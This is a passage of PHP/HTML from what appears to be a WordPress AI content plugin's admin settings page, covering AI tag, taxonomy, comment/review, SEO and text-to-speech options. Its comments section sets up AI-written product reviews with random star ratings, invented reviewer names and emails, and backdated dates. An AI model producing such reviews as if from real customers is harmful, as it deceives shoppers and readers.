generator.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Model For The Tags Generator:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td class="cr_min_width_200"> <select id="tags_model" name="aiomatic_Spinner_Settings[tags_model]" <?php if($tags_assistant_id != ''){echo ' disabled';}?> class="disableTags cr_width_full" onchange="visionSelectedAI8();"> <?php foreach($all_models as $modelx) { echo '<option value="' . $modelx .'"'; if ($tags_model == $modelx) { echo " selected"; } echo '>' . esc_html($modelx) . esc_html(aiomatic_get_model_provider($modelx)) . '</option>'; } ?> </select> </td> </tr> <tr class="hideMain8 hideVision8"> <td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select if you want to use AI vision and send to the AI model also the Featured Image of the edited post. Note that the AI prompt might also be needed to be updated if you enable this feature.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Enable AI Vision:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="checkbox" id="ai_vision_tag" name="aiomatic_Spinner_Settings[ai_vision_tag]"<?php if ($ai_vision_tag == 'on') echo ' checked '; ?>> </td> </tr><tr><td> <h2><?php echo esc_html__("Post Automatic Custom Fields/Custom Taxonomies Options:", 'aiomatic-automatic-ai-content-writer');?></h2> </td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("The plugin will automatically add custom fields or custom taxonomies to posts from your site.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b class="wpaiomatic-delete"><?php echo esc_html__("Automatically Add Custom Fields/Custom Taxonomies To Posts:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <select id="add_custom" name="aiomatic_Spinner_Settings[add_custom]" onchange="mainChanged10();" > <option value="disabled"<?php if ($add_custom == "disabled") { echo " selected"; } ?>><?php echo esc_html__("Disabled", 'aiomatic-automatic-ai-content-writer');?></option> <option value="enabled"<?php if ($add_custom == "enabled") { echo " selected"; } ?>><?php echo esc_html__("Enabled", 'aiomatic-automatic-ai-content-writer');?></option> </select> </div> </td></tr> <tr class="hideMain10"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set a list of custom field slugs and prompts which will generate values for them (each on a new line). This command can be any given task or order, based on which, it will generate custom taxonomies for posts. You can use the following shortcodes here: %%post_title%%, %%post_content%%, %%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, %%post_tags%%, %%featured_image%%, %%blog_title%%, %%author_name%%, %%current_date_time%%, %%post_link%%, %%random_sentence%%, %%random_sentence2%%. You can also use custom fields (post meta) that it's assigned to posts using custom shortcodes in this format: %%!custom_field_slug!%%. You can also use custom user meta fields (user meta) which is assigned to users using custom shortcodes in this format: %%~custom_field_slug~%%. Example: if you wish to add data that is imported from the custom field post_data, you should use this shortcode: %%!post_data!%%. The length of this command should not be greater than the max token count set in the settings for the prompt command - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). To disable this functionality, leave this settings field blank.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Prompt For The AI Custom Fields Generator:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <textarea rows="1" name="aiomatic_Spinner_Settings[ai_custom_field]" placeholder="custom_field_slug => What is the distance of from the Earth to the Sun? Write only the numeric answer, nothing else."><?php echo esc_textarea($ai_custom_field); ?></textarea> </div> </td></tr> <tr class="hideMain10"><td colspan="2"><hr/></td></tr> <tr class="hideMain10"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set a list of custom taxonomy slugs and prompts which will generate values for them (each on a new line). This command can be any given task or order, based on which, it will generate custom taxonomies for posts. You can use the following shortcodes here: %%post_title%%, %%post_content%%, %%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, %%post_tags%%, %%featured_image%%, %%blog_title%%, %%author_name%%, %%current_date_time%%, %%post_link%%, %%random_sentence%%, %%random_sentence2%%. You can also use custom fields (post meta) that it's assigned to posts using custom shortcodes in this format: %%!custom_field_slug!%%. You can also use custom user meta fields (user meta) which is assigned to users using custom shortcodes in this format: %%~custom_field_slug~%%. Example: if you wish to add data that is imported from the custom field post_data, you should use this shortcode: %%!post_data!%%. The length of this command should not be greater than the max token count set in the settings for the prompt command - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). To disable this functionality, leave this settings field blank.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Prompt For The AI Custom Taxonomy Generator:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <textarea rows="1" name="aiomatic_Spinner_Settings[ai_custom_tax]" placeholder="taxonomy_slug => Write a comma separated list of 5 categories for post title: %%post_title%%"><?php echo esc_textarea($ai_custom_tax); ?></textarea> </div> </td></tr> <tr class="hideMain10"> <td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Maximum number of custom taxonomies to add. You can also use value ranges, like: 3-5. The default value is 1-2", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Maximum Number Of Custom Taxonomies To Add To The Post:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="text" id="max_custom" name="aiomatic_Spinner_Settings[max_custom]" placeholder="1-2" class="cr_width_full" value="<?php echo esc_attr($max_custom);?>"> </td> </tr> <tr class="hideMain10"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("This option will make the plugin not create custom taxonomies which are not already existing on your site. For best results in this case, be sure to add to the prompt the list of custom taxonomies from where the AI should select.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Do Not Add Inexistent Custom Taxonomies:", 'aiomatic-automatic-ai-content-writer');?></b> </td><td> <input type="checkbox" id="skip_inexist_custom" name="aiomatic_Spinner_Settings[skip_inexist_custom]"<?php if ($skip_inexist_custom == 'on') echo ' checked '; ?>> </td></tr> <tr class="hideMain10"><td colspan="2"><hr/></td></tr> <tr class="hideMain10"> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the AI Assistant to be used. This will disable the ability to select AI models, as the models assisgned to the assistant will be used for content creation.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Assistant Name:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td><select id="custom_assistant_id" name="aiomatic_Spinner_Settings[custom_assistant_id]" class="cr_width_full" onchange="assistantSelected('custom_assistant_id', 'disableCustom');"> <?php if($all_assistants === false) { echo '<option val="" selected disabled>' . esc_html__("Only OpenAI API is supported for Assistants API", 'aiomatic-automatic-ai-content-writer') . '</option>'; } else { if(count($all_assistants) == 0) { echo '<option val="" selected disabled>' . esc_html__("No Assistans added, go to the plugin's 'AI Assistans' menu to add new assistants!", 'aiomatic-automatic-ai-content-writer') . '</option>'; } else { echo '<option value=""'; if($custom_assistant_id == '') { echo ' selected'; } echo '>' . esc_html__("Don't use assistants, use AI models instead", 'aiomatic-automatic-ai-content-writer') . '</option>'; foreach($all_assistants as $myassistant) { echo '<option value="' . $myassistant->ID .'"'; if($custom_assistant_id == $myassistant->ID) { echo ' selected'; } echo '>' . esc_html($myassistant->post_title); echo '</option>'; } } } ?> </select> </td> </tr> <tr class="hideMain10"> <td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the AI Model to be used for custom taxonomies/custom fields generator.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Model For The Custom Taxonomies/Custom Fields Generator:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td class="cr_min_width_200"> <select id="custom_model" name="aiomatic_Spinner_Settings[custom_model]" <?php if($custom_assistant_id != ''){echo ' disabled';}?> class="disableCustom cr_width_full" onchange="visionSelectedAI10();"> <?php foreach($all_models as $modelx) { echo '<option value="' . $modelx .'"'; if ($custom_model == $modelx) { echo " selected"; } echo '>' . esc_html($modelx) . esc_html(aiomatic_get_model_provider($modelx)) . '</option>'; } ?> </select> </td> </tr> <tr class="hideMain10 hideVision10"> <td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select if you want to use AI vision and send to the AI model also the Featured Image of the edited post. Note that the AI prompt might also be needed to be updated if you enable this feature.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Enable AI Vision:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="checkbox" id="ai_vision_custom" name="aiomatic_Spinner_Settings[ai_vision_custom]"<?php if ($ai_vision_custom == 'on') echo ' checked '; ?>> </td> </tr> <tr><td> <h2><?php echo esc_html__("Automatic Post Comments/Product Reviews Options:", 'aiomatic-automatic-ai-content-writer');?></h2> </td></tr><tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("The plugin will automatically add post comments/product reviews from your site.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b class="wpaiomatic-delete"><?php echo esc_html__("Automatically Add Post Comments/Product Reviews:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <select id="add_comments" name="aiomatic_Spinner_Settings[add_comments]" onchange="mainChanged5();" > <option value="disabled"<?php if ($add_comments == "disabled") { echo " selected"; } ?>><?php echo esc_html__("Disabled", 'aiomatic-automatic-ai-content-writer');?></option> <option value="enabled"<?php if ($add_comments == "enabled") { echo " selected"; } ?>><?php echo esc_html__("Enabled", 'aiomatic-automatic-ai-content-writer');?></option> </select> </div> </td></tr> <tr class="hideMain5"> <td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Maximum number of comments/reviews to add. You can also use value ranges, like: 3-5. The default value is 1-2", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Maximum Number Of Comments/Reviews To Add To The Post:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="text" id="max_comments" name="aiomatic_Spinner_Settings[max_comments]" placeholder="1-2" class="cr_width_full" value="<?php echo esc_attr($max_comments);?>"> </td> </tr> <tr class="hideMain5"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set an prompt command you want to send to the AI comment/review generator. This command can be any given task or order, based on which, it will generate comments for posts. You can use the following shortcodes here: %%previous_comments%%, %%post_title%%, %%comment_author_name%%, %%comment_author_email%%, %%comment_author_url%%, %%post_content%%, %%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, %%post_tags%%, %%featured_image%%, %%blog_title%%, %%author_name%%, %%current_date_time%%, %%post_link%%, %%random_sentence%%, %%random_sentence2%%, %%product_star_rating%%. For the %%product_star_rating%% shortcode, a random value will be selected, defined by the 'WooCommerce Product Review Minimum-Maximum Star Count' settings field from below. You can also use custom fields (post meta) that it's assigned to posts using custom shortcodes in this format: %%!custom_field_slug!%%. You can also use custom user meta fields (user meta) which is assigned to users using custom shortcodes in this format: %%~custom_field_slug~%%. Example: if you wish to add data that is imported from the custom field post_data, you should use this shortcode: %%!post_data!%%. The length of this command should not be greater than the max token count set in the settings for the prompt command - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins).", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Prompt For The AI Comment/Review Generator:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <textarea rows="1" name="aiomatic_Spinner_Settings[ai_comments]" placeholder="Please insert a command for the AI"><?php echo esc_textarea($ai_comments); ?></textarea> </div> </td></tr> <tr class="hideMain5"> <td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the range of product reviews which the plugin will create for WooCommerce products. If you set this value, you can use the %%product_star_rating%% shortcode in the 'Prompt For The AI Comment Generator' settings field from above. You can also use value ranges, like: 3-5. The default is 5", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("WooCommerce Product Review Minimum-Maximum Star Count:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="text" id="star_count" name="aiomatic_Spinner_Settings[star_count]" placeholder="4-5" class="cr_width_full" value="<?php echo esc_attr($star_count);?>"> </td> </tr> <tr class="hideMain5"> <td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Maximum number of comments/reviews to add to the %%previous_comments%% shortcode, The default value is 5", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("%%previous_comments%% Shortcode Comment/Reviews Count:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="number" min="0" step="1" id="prev_comms" name="aiomatic_Spinner_Settings[prev_comms]" placeholder="5" class="cr_width_full" value="<?php echo esc_attr($prev_comms);?>"> </td> </tr> <tr class="hideMain5"> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the AI Assistant to be used. This will disable the ability to select AI models, as the models assisgned to the assistant will be used for content creation.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Assistant Name:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td><select id="comments_assistant_id" name="aiomatic_Spinner_Settings[comments_assistant_id]" class="cr_width_full" onchange="assistantSelected('comments_assistant_id', 'disableComments');"> <?php if($all_assistants === false) { echo '<option val="" selected disabled>' . esc_html__("Only OpenAI API is supported for Assistants API", 'aiomatic-automatic-ai-content-writer') . '</option>'; } else { if(count($all_assistants) == 0) { echo '<option val="" selected disabled>' . esc_html__("No Assistans added, go to the plugin's 'AI Assistans' menu to add new assistants!", 'aiomatic-automatic-ai-content-writer') . '</option>'; } else { echo '<option value=""'; if($comments_assistant_id == '') { echo ' selected'; } echo '>' . esc_html__("Don't use assistants, use AI models instead", 'aiomatic-automatic-ai-content-writer') . '</option>'; foreach($all_assistants as $myassistant) { echo '<option value="' . $myassistant->ID .'"'; if($comments_assistant_id == $myassistant->ID) { echo ' selected'; } echo '>' . esc_html($myassistant->post_title); echo '</option>'; } } } ?> </select> </td> </tr> <tr class="hideMain5"> <td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the AI Model to be used for comments/reviews generator.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Model For The Comments/Reviews Generator:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td class="cr_min_width_200"> <select id="comments_model" name="aiomatic_Spinner_Settings[comments_model]" <?php if($comments_assistant_id != ''){echo ' disabled';}?> class="disableComments cr_width_full" onchange="visionSelectedAI5();"> <?php foreach($all_models as $modelx) { echo '<option value="' . $modelx .'"'; if ($comments_model == $modelx) { echo " selected"; } echo '>' . esc_html($modelx) . esc_html(aiomatic_get_model_provider($modelx)) . '</option>'; } ?> </select> </td> </tr> <tr class="hideMain5 hideVision5"> <td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select if you want to use AI vision and send to the AI model also the Featured Image of the edited post. Note that the AI prompt might also be needed to be updated if you enable this feature.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Enable AI Vision:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="checkbox" id="ai_vision_com" name="aiomatic_Spinner_Settings[ai_vision_com]"<?php if ($ai_vision_com == 'on') echo ' checked '; ?>> </td> </tr> <tr class="hideMain5"> <td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Do you want to keep created comments/reviews for manual approval?", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Keep Created Comments For Review (Don't Auto Approve Them):", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td> <td> <div> <input type="checkbox" id="no_approve" name="aiomatic_Spinner_Settings[no_approve]"<?php if ($no_approve == 'on') echo ' checked '; ?>> </div> </td> </tr> <tr class="hideMain5"> <td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Input a list of user names that the plugin will use when submitting comments/reviews. One per line. If you leave this field empty, a random name will be generated. Possible shortcode that can be used here: %%random_user%%, %%author_name%%, %%random_sentence%%, %%random_sentence2%%", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Comment/Review User Name List:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td> <td> <div> <textarea rows="4" name="aiomatic_Spinner_Settings[user_list]" placeholder="Insert a list of user names to use when submitting comments (one per line)"><?php echo esc_textarea($user_list); ?></textarea> </div> </td> </tr> <tr class="hideMain5"> <td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Input a list of e-mails that the plugin will use when submitting comments/reviews. One per line. If you leave this field empty, a random email will be generated. Possible shortcode that can be used here: %%random_sentence%%, %%random_sentence2%%", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Comment/Review E-mail List:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td> <td> <div> <textarea rows="4" name="aiomatic_Spinner_Settings[email_list]" placeholder="Insert a list of e-mails to use when submitting comments (one per line)"><?php echo esc_textarea($email_list); ?></textarea> </div> </td> </tr> <tr class="hideMain5"> <td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Input a list of URLs that the plugin will use when submitting comments/reviews. One per line. Possible shortcode that can be used here: %%post_link%%, %%random_sentence%%, %%random_sentence2%%", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Comment/Review URL List:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td> <td> <div> <textarea rows="4" name="aiomatic_Spinner_Settings[url_list]" placeholder="Insert a list of URLs to use when submitting comments (one per line)"><?php echo esc_textarea($url_list); ?></textarea> </div> </td> </tr> <tr class="hideMain5"> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo sprintf( wp_kses( __( "Do you want to set a custom comment/review publish date? You can input 2 dates, minimum and maximum date - the plugin will select a random date from the specified interval, for each new comment created. Set the range in the below field. Set the range in the below field Accepted values for this field are listed: <a href='%s' target='_blank'>here</a>. To disable this feature, leave this field blank.", 'aiomatic-automatic-ai-content-writer'), array( 'a' => array( 'href' => array(), 'target' => array() ) ) ), esc_url_raw( 'https://www.php.net/manual/en/datetime.formats.php' ) ); ?> </div> </div> <b><?php echo esc_html__("Set a Custom Comment/Review Date Range:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="text" id="min_time" name="aiomatic_Spinner_Settings[min_time]" value="<?php echo esc_attr($min_time);?>" placeholder="Start time" class="cr_half"> - <input type="text" id="max_time" name="aiomatic_Spinner_Settings[max_time]" value="<?php echo esc_attr($max_time);?>" placeholder="End time" class="cr_half"> </td> </tr> <tr><td> <h2><?php echo esc_html__("SEO Meta Description Options:", 'aiomatic-automatic-ai-content-writer');?></h2> </td></tr><tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("The plugin will automatically add AI generated SEO meta descriptions to posts from your site.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b class="wpaiomatic-delete"><?php echo esc_html__("Automatically Add AI Generated SEO Description To Posts:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <select id="add_seo" name="aiomatic_Spinner_Settings[add_seo]" onchange="mainChanged6();" > <option value="disabled"<?php if ($add_seo == "disabled") { echo " selected"; } ?>><?php echo esc_html__("Disabled", 'aiomatic-automatic-ai-content-writer');?></option> <option value="enabled"<?php if ($add_seo == "enabled") { echo " selected"; } ?>><?php echo esc_html__("Enabled", 'aiomatic-automatic-ai-content-writer');?></option> </select> </div> </td></tr> <tr class="hideMain6"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set an prompt command you want to send to the AI SEO meta description generator. This command can be any given task or order, based on which, it will generate meta descriptions for posts. You can use the following shortcodes here: %%post_title%%, %%post_content%%, %%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, %%post_tags%%, %%featured_image%%, %%blog_title%%, %%author_name%%, %%current_date_time%%, %%post_link%%, %%random_sentence%%, %%random_sentence2%%. You can also use custom fields (post meta) that it's assigned to posts using custom shortcodes in this format: %%!custom_field_slug!%%. You can also use custom user meta fields (user meta) which is assigned to users using custom shortcodes in this format: %%~custom_field_slug~%%. Example: if you wish to add data that is imported from the custom field post_data, you should use this shortcode: %%!post_data!%%. The length of this command should not be greater than the max token count set in the settings for the prompt command - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). The default value is: Write a SEO meta description for the post title: %%post_title%%", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Prompt For The AI SEO Meta Description Generator:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <textarea rows="1" name="aiomatic_Spinner_Settings[ai_seo]" placeholder="Please insert a command for the AI"><?php echo esc_textarea($ai_seo); ?></textarea> </div> </td></tr> <tr class="hideMain6"> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the AI Assistant to be used. This will disable the ability to select AI models, as the models assisgned to the assistant will be used for content creation.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Assistant Name:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td><select id="meta_assistant_id" name="aiomatic_Spinner_Settings[meta_assistant_id]" class="cr_width_full" onchange="assistantSelected('meta_assistant_id', 'disableMeta');"> <?php if($all_assistants === false) { echo '<option val="" selected disabled>' . esc_html__("Only OpenAI API is supported for Assistants API", 'aiomatic-automatic-ai-content-writer') . '</option>'; } else { if(count($all_assistants) == 0) { echo '<option val="" selected disabled>' . esc_html__("No Assistans added, go to the plugin's 'AI Assistans' menu to add new assistants!", 'aiomatic-automatic-ai-content-writer') . '</option>'; } else { echo '<option value=""'; if($meta_assistant_id == '') { echo ' selected'; } echo '>' . esc_html__("Don't use assistants, use AI models instead", 'aiomatic-automatic-ai-content-writer') . '</option>'; foreach($all_assistants as $myassistant) { echo '<option value="' . $myassistant->ID .'"'; if($meta_assistant_id == $myassistant->ID) { echo ' selected'; } echo '>' . esc_html($myassistant->post_title); echo '</option>'; } } } ?> </select> </td> </tr><tr class="hideMain6"> <td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the AI Model to be used for AI SEO Meta Description Generator.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Model For The AI SEO Meta Description Generator:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td class="cr_min_width_200"> <select id="seo_model" name="aiomatic_Spinner_Settings[seo_model]" <?php if($meta_assistant_id != ''){echo ' disabled';}?> class="disableMeta cr_width_full" onchange="visionSelectedAI6();"> <?php foreach($all_models as $modelx) { echo '<option value="' . $modelx .'"'; if ($seo_model == $modelx) { echo " selected"; } echo '>' . esc_html($modelx) . esc_html(aiomatic_get_model_provider($modelx)) . '</option>'; } ?> </select> </td> </tr> <tr class="hideMain6 hideVision6"> <td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select if you want to use AI vision and send to the AI model also the Featured Image of the edited post. Note that the AI prompt might also be needed to be updated if you enable this feature.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Enable AI Vision:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="checkbox" id="ai_vision_seo" name="aiomatic_Spinner_Settings[ai_vision_seo]"<?php if ($ai_vision_seo == 'on') echo ' checked '; ?>> </td> </tr><tr class="hideMain6"> <td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set if you want to limit the AI generated meta description length.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Limit AI Generated Meta Description Character Count:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td class="cr_min_width_200"> <input type="number" min="0" step="1" id="seo_max_char" name="aiomatic_Spinner_Settings[seo_max_char]" class="cr_450" value="<?php echo esc_html($seo_max_char);?>" placeholder="Maximum character length"> </td> </tr><tr class="hideMain6"> <td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set if you want to copy meta description from post excerpt, instead of creating it. Note that this will disable the AI generator of the SEO meta.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Copy Meta Description From Post Excerpt Instead Of Generating It:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td class="cr_min_width_200"> <input type="checkbox" id="seo_copy_excerpt" name="aiomatic_Spinner_Settings[seo_copy_excerpt]"<?php if ($seo_copy_excerpt == 'on') echo ' checked '; ?>> </td> </tr> <tr><td> <h2><?php echo esc_html__("Text to Audio/Video Options:", 'aiomatic-automatic-ai-content-writer');?></h2> </td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select if you want to enable text to speech/video feature of the plugin.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b class="wpaiomatic-delete"><?php echo esc_html__("Enable Content Text-to-Speech/Video:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <select id="content_text_speech" onchange="aiomatic_audio_changed()" name="aiomatic_Spinner_Settings[content_text_speech]" > <?php echo '<option' . ($content_text_speech == 'off' ? ' selected': '') . ' value="off">Disabled</option>'; if (!isset($aiomatic_Main_Settings['app_id'])) { $aiomatic_Main_Settings['app_id'] = ''; } $appids = preg_split('/\r\n|\r|\n/', trim($aiomatic_Main_Settings['app_id'])); $appids = array_filter($appids); if(empty($appids)) { $token = ''; } else { $token = $appids[array_rand($appids)]; } if(!aiomatic_is_aiomaticapi_key($token) && (!isset($aiomatic_Main_Settings['api_selector']) || trim($aiomatic_Main_Settings['api_selector']) != 'azure')) { echo '<option' . ($content_text_speech == 'openai' ? ' selected': '') . ' value="openai">OpenAI Text-to-Speech</option>'; } else { echo '<option' . ($content_text_speech == 'openai' ? ' selected': '') . ' disabled value="openai">OpenAI Text-to-Speech (' . esc_html__("Currently Only OpenAI API is supported for TTS", 'aiomatic-automatic-ai-content-writer') . ')</option>'; } if (isset($aiomatic_Main_Settings['elevenlabs_app_id']) && trim($aiomatic_Main_Settings['elevenlabs_app_id']) != '') { echo '<option' . ($content_text_speech == 'elevenlabs' ? ' selected': '') . ' value="elevenlabs">ElevenLabs.io Text-to-Speech</option>'; } else { echo '<option' . ($content_text_speech == 'elevenlabs' ? ' selected': '') . ' disabled value="elevenlabs">ElevenLabs.io Text-to-Speech (' . esc_html__("Enter API key in Settings to enable", 'aiomatic-automatic-ai-content-writer') . ')</option>'; } if (isset($aiomatic_Main_Settings['google_app_id']) && trim($aiomatic_Main_Settings['google_app_id']) != '') { echo '<option' . ($content_text_speech == 'google' ? ' selected': '') . ' value="google">Google Text-to-Speech</option>'; } else { echo 